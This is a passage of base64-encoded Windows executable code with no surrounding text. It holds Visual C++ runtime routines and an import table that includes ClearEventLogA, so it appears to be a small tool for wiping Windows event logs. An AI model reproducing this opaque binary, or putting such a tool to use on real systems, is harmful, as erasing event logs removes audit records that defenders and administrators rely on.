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\r\nABAAAI1MJAhyFIHpABAAAC0AEAAAhQE9ABAAAHPsK8iLxIUBi+GLCItABFDDzP8lbFBAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAADyVQAA4FUAANBVAAAAAAAAslUAAKBVAABWVwAAEFYAAB5WAAAyVgAA\r\nRlYAAFhWAABmVgAAglYAAJhWAACyVgAAzFYAAOJWAAD6VgAAFFcAACZXAAA2VwAARFcAAJRVAABk\r\nVwAAclcAAIBXAACMVwAAmFcAAKRXAACwVwAAvFcAAMZXAADSVwAA4lcAAPBXAAACWAAAElgAACZY\r\nAAA4WAAATlgAAF5YAABuWAAAgFgAAJJYAACiWAAAAAAAAAAAAAD/////zhZAAOIWQAAGAAAGAAEA\r\nABAAAwYABgIQBEVFRQUFBQUFNTAAUAAAAAAgKDhQWAcIADcwMFdQBwAAICAIAAAAAAhgaGBgYGAA\r\nAHBweHh4eAgHCAAABwAICAgAAAgACAAHCAAAACgAbgB1AGwAbAApAAAAAAAobnVsbCkAAHJ1bnRp\r\nbWUgZXJyb3IgAAANCgAAVExPU1MgZXJyb3INCgAAAFNJTkcgZXJyb3INCgAAAABET01BSU4gZXJy\r\nb3INCgAAUjYwMjgNCi0gdW5hYmxlIHRvIGluaXRpYWxpemUgaGVhcA0KAAAAAFI2MDI3DQotIG5v\r\ndCBlbm91Z2ggc3BhY2UgZm9yIGxvd2lvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjYNCi0gbm90\r\nIGVub3VnaCBzcGFjZSBmb3Igc3RkaW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNQ0KLSBwdXJl\r\nIHZpcnR1YWwgZnVuY3Rpb24gY2FsbA0KAAAAUjYwMjQNCi0gbm90IGVub3VnaCBzcGFjZSBmb3Ig\r\nX29uZXhpdC9hdGV4aXQgdGFibGUNCgAAAABSNjAxOQ0KLSB1bmFibGUgdG8gb3BlbiBjb25zb2xl\r\nIGRldmljZQ0KAAAAAFI2MDE4DQotIHVuZXhwZWN0ZWQgaGVhcCBlcnJvcg0KAAAAAFI2MDE3DQot\r\nIHVuZXhwZWN0ZWQgbXVsdGl0aHJlYWQgbG9jayBlcnJvcg0KAAAAAFI2MDE2DQotIG5vdCBlbm91\r\nZ2ggc3BhY2UgZm9yIHRocmVhZCBkYXRhDQoADQphYm5vcm1hbCBwcm9ncmFtIHRlcm1pbmF0aW9u\r\nDQoAAAAAUjYwMDkNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgZW52aXJvbm1lbnQNCgBSNjAwOA0K\r\nLSBub3QgZW5vdWdoIHNwYWNlIGZvciBhcmd1bWVudHMNCgAAAFI2MDAyDQotIGZsb2F0aW5nIHBv\r\naW50IG5vdCBsb2FkZWQNCgAAAABNaWNyb3NvZnQgVmlzdWFsIEMrKyBSdW50aW1lIExpYnJhcnkA\r\nAAAACgoAAFJ1bnRpbWUgRXJyb3IhCgpQcm9ncmFtOiAAAAAuLi4APHByb2dyYW0gbmFtZSB1bmtu\r\nb3duPgAAR2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNl\r\ncjMyLmRsbAAAAAAAAAAAAAAAAAAA//////5GQAACR0AA/////7JHQAC2R0AA/////zZJQAA6SUAA\r\n6FQAAAAAAAAAAAAAwlUAABBQAADYVAAAAAAAAAAAAAACVgAAAFAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAA8lUAAOBVAADQVQAAAAAAALJVAACgVQAAVlcAABBWAAAeVgAAMlYAAEZWAABYVgAAZlYAAIJW\r\nAACYVgAAslYAAMxWAADiVgAA+lYAABRXAAAmVwAANlcAAERXAACUVQAAZFcAAHJXAACAVwAAjFcA\r\nAJhXAACkVwAAsFcAALxXAADGVwAA0lcAAOJXAADwVwAAAlgAABJYAAAmWAAAOFgAAE5YAABeWAAA\r\nblgAAIBYAACSWAAAolgAAAAAAADMAUxvY2FsRnJlZQCvAEZvcm1hdE1lc3NhZ2VBAAAaAUdldExh\r\nc3RFcnJvcgAAS0VSTkVMMzIuZGxsAAAyAENsb3NlRXZlbnRMb2cAMABDbGVhckV2ZW50TG9nQQAA\r\nQAFPcGVuRXZlbnRMb2dBAEFEVkFQSTMyLmRsbAAAfQBFeGl0UHJvY2VzcwCeAlRlcm1pbmF0ZVBy\r\nb2Nlc3MAAPcAR2V0Q3VycmVudFByb2Nlc3MAygBHZXRDb21tYW5kTGluZUEAdAFHZXRWZXJzaW9u\r\nAACtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAJAFHZXRNb2R1bGVGaWxlTmFtZUEAALIARnJl\r\nZUVudmlyb25tZW50U3RyaW5nc0EAswBGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwDSAldpZGVDaGFy\r\nVG9NdWx0aUJ5dGUABgFHZXRFbnZpcm9ubWVudFN0cmluZ3MACAFHZXRFbnZpcm9ubWVudFN0cmlu\r\nZ3NXAABtAlNldEhhbmRsZUNvdW50AABSAUdldFN0ZEhhbmRsZQAAFQFHZXRGaWxlVHlwZQBQAUdl\r\ndFN0YXJ0dXBJbmZvQQCdAUhlYXBEZXN0cm95AJsBSGVhcENyZWF0ZQAAvwJWaXJ0dWFsRnJlZQCf\r\nAUhlYXBGcmVlAAAvAlJ0bFVud2luZADfAldyaXRlRmlsZQCZAUhlYXBBbGxvYwC/AEdldENQSW5m\r\nbwC5AEdldEFDUAAAMQFHZXRPRU1DUAAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAPgFH\r\nZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAAKoARmx1c2hGaWxlQnVmZmVycwAAagJTZXRG\r\naWxlUG9pbnRlcgAA5AFNdWx0aUJ5dGVUb1dpZGVDaGFyAL8BTENNYXBTdHJpbmdBAADAAUxDTWFw\r\nU3RyaW5nVwAAUwFHZXRTdHJpbmdUeXBlQQAAVgFHZXRTdHJpbmdUeXBlVwAAfAJTZXRTdGRIYW5k\r\nbGUAABsAQ2xvc2VIYW5kbGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA